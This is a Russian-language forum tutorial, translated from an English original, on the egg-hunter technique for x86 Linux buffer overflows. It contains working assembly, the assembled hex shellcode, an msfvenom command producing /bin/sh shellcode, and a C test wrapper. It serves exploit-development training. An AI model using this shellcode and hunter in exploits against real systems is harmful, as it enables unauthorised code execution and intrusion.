• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья EggHunter-шеллкод. Охотник Себастьян, что спал на чердаке - стал дряхлый, как старик

bin_exp.png

Ку, киберрекруты. Данная статья является переводом. Вот сслыка на оригинал: .

Статья о инъектировании шеллкода в бинарь, только с одной проблемкой - не хватка места в памяти. Надеюсь, всё будет понятно. Приятного чтения.

Рассмотрим сценарий, в котором по какой-то причине (возможно, ограниченное пространство памяти) весь наш шеллкод не может быть помещен в память. Чтобы упростить понимание сценария, мы можем рассмотреть пример простого переполнения буфера.

Код:
| <Payload>|   <= only 40 bytes of space
|    EIP   |
...
|   AAAA   |
|   AAAA   |
|   AAAA   |   <= Injection Point          [Low Memory]

В приведенном выше случае мы можем записать только полезную нагрузку размером 40 байт. Даже самый маленький ReverseShell TCP будет иметь размер более 50 байт. Что теперь? Как насчет того, чтобы использовать пространство между инъекцией и EIP, которое мы заполнили ненужными значениями? Да, именно так! Это должно сработать.

Мы можем написать полезную нагрузку, которая будет искать в памяти наш шеллкод и затем передавать ему управление. Именно это и есть egg hunting.

EggHunter - это короткий фрагмент кода, который может безопасно искать в виртуальном адресном пространстве "яйцо" - короткую строку, обозначающую начало более крупной полезной грузки.

Мы поместим egg в начало нашего шеллкода, а небольшая нагрузка будет искать его и передавать управление шеллкоду.

В ДВУХ СЛОВАХ
Вот краткая версия( алгоритм действий, так называемая техкарта ) для людей с дефицитом времени:
  1. Находим egg(яйцо)
  2. Понимаем, где происходит нарушени памяти в вирутальном пространстве (VAS)
  3. Пишем код для EggHunter
  4. Генерим шеллкод с помощью msfvenom ( ну или сами пишем, как тру киберпанки-пывнеры )
  5. Используем обертку шеллкода в C для окончательного тестирования
Что такое Egg?
Egg
- это уникальный набор байтов в памяти, который отмечает начало нашего шеллкода. Мы будем использовать 8 байт яйца (дважды повторенные 4 байта) перед шеллкодом, а наш охотник будет пытаться найти два 4 байта этого яйца. Мы повторяем яйцо дважды перед шеллкодом, чтобы охотник случайно не наткнулся на себя и не определил ложное местоположение шеллкода. Мы составим egg с помощью приведенного ниже фрагмента кода:

Код:
00000000 90       nop 
00000001 50       push eax 
00000002 90       nop 
00000003 50       push eax 
00000004 90       nop 
00000005 50       push eax 
00000006 90       nop 
00000007 50       push eax

В качестве необработанного буфера, egg становится dword 0x50905090, повторенным два раза подряд. Причина выбора яйца, состоящего из инструкций, заключается в том, что мы можем передать управление самому яйцу, которое будет дополнено шеллкодом.

Понимание нарушении памяти в вирутальном адресном пространстве (VAS)
Нам также необходимо найти способ предотвратить обращение нашего охотника к недопустимому/ограниченному адресу памяти внутри программы. Для проверки нарушения памяти мы будем использовать доступ к системному вызову. Если возвращаемое значение доступа системного вызова равно EFAULT (имя пути указывает за пределы доступного адресного пространства), то мы перейдем на следующую страницу в VAS и продолжим поиск яйца.

Когда системный вызов встречает недопустимый адрес памяти, большинство из них возвращает код ошибки EFAULT, указывающий на то, что указатель, предоставленный системному вызову, был недостоверным.

Доступ к системным вызовам
C:
#include <unistd.h>
int access(const char *pathname, int mode);

Пишим код EggHunter

Логика нашего охотника такова:

C:
if (access(mem_addr) == 0xf2){
    Jump_to_next_page()
}
if (value_at_address(mem_addr) != egg){
    jump_to_next_addr()
}
if (value_at_address(mem_addr + 0x4) != egg){
    jump_to_next_addr()
}
    jump_to_addr(mem_addr) //mem_addr points to our egg

Код для охотника выглядит так:

Код:
; Egg Hunter
; Author: Aditya Chaudhary
; Date: 20th Jan 2019


global _start


section .text


_start:
  xor eax,eax             ; eax = 0
  mov edi, eax            ; edi = 0
  mov edi, dword 0x50905090  ; EGG

next_page:
  or dx, 0xfff            ; dx=4095 ; 0x1000 - 1 (4095) ; Page sizes in Linux x86 = 4096

next_address:
  inc edx                 ; edx = 4096
  pusha                   ; push all of the current general purposes registers onto the stack
  lea ebx, [edx + 0x4]    ; address to be validated for memory violation
  mov al, 0x21            ; access systemcall
  int 0x80
  cmp al, 0xf2            ; compare return value, bad address = EFAULT (0xf2)
  popa                    ; get all the registers back
  jz next_page            ; jump to next page if EFAULT occurs
  cmp [edx], edi          ; compare 1st egg
  jnz next_address        ; jump to next address if NOT egg
  cmp [edx + 0x4], edi    ; compare 2nd egg
  jnz next_address        ; jump to next address if NOT egg
  jmp edx                 ; jump to the address where egg is located i.e. jump to  our shellcode


Давайте соберем и соединим этот код для генерации кода одной строки в формате шестнадцатеричной строки.

image.png

Сборка и линковка egghunter
Код:
\x31\xc0\x89\xc7\xbf\x90\x50\x90\x50\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2

Генерация шеллкода с помощью msfvenom

Генерим шеллкод с помощью msfvenom:

Код:
msfvenom -p linux/x86/exec CMD=/bin/sh -f c --arch x86 --platform linux -b \x00

image.png


Используем обертку шеллкода на C для финального теста

Давайте протестируем нашего охотника за яйцами, написав простую программу на C, которая будет передавать управление нашему охотнику за яйцами. Я добавил gist для программы-обертки на C, вот ссылка на нее: , код ниже:

C:
#include<stdio.h>
#include<string.h>


#define EGG "\x90\x50\x90\x50"

unsigned char egghunter[] = \
"\x31\xc0\x89\xc7\xbf"
EGG
"\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2";


unsigned char shellcode[] = \
EGG EGG
"<shell_code_here>";

main()
{

    printf("Egghunter Length:  %d\n", strlen(egghunter));
    printf("Shellcode Length:  %d\n", strlen(shellcode));

    int (*ret)() = (int(*)())egghunter;

    ret();

}

Добавьте нашего охотника за яйцами и шеллкод внутрь этой обертки:

Код:
#include<stdio.h>

#include<string.h>

#define EGG "\x90\x50\x90\x50"

unsigned char egghunter[] = \

"\x31\xc0\x89\xc7\xbf"

EGG

"\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2";

unsigned char shellcode[] = \

EGG EGG

"<shell_code_here>";

main()

{

printf("Egghunter Length: %d\n", strlen(egghunter));

printf("Shellcode Length: %d\n", strlen(shellcode));

int (*ret)() = (int(*)())egghunter;

ret();

}

Давайте посмотрим, что произойдет, когда мы запустим эту программу на языке C:

image.png

Компилим и запускаем прогу
Отлично! Наш Охотник за яйцами, похоже, работает как надо :)
Чтобы лучше понять концепцию охоты за яйцами, пожалуйста, просмотрите нижеприведенный документ. Это очень помогло мне понять концепцию:

 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!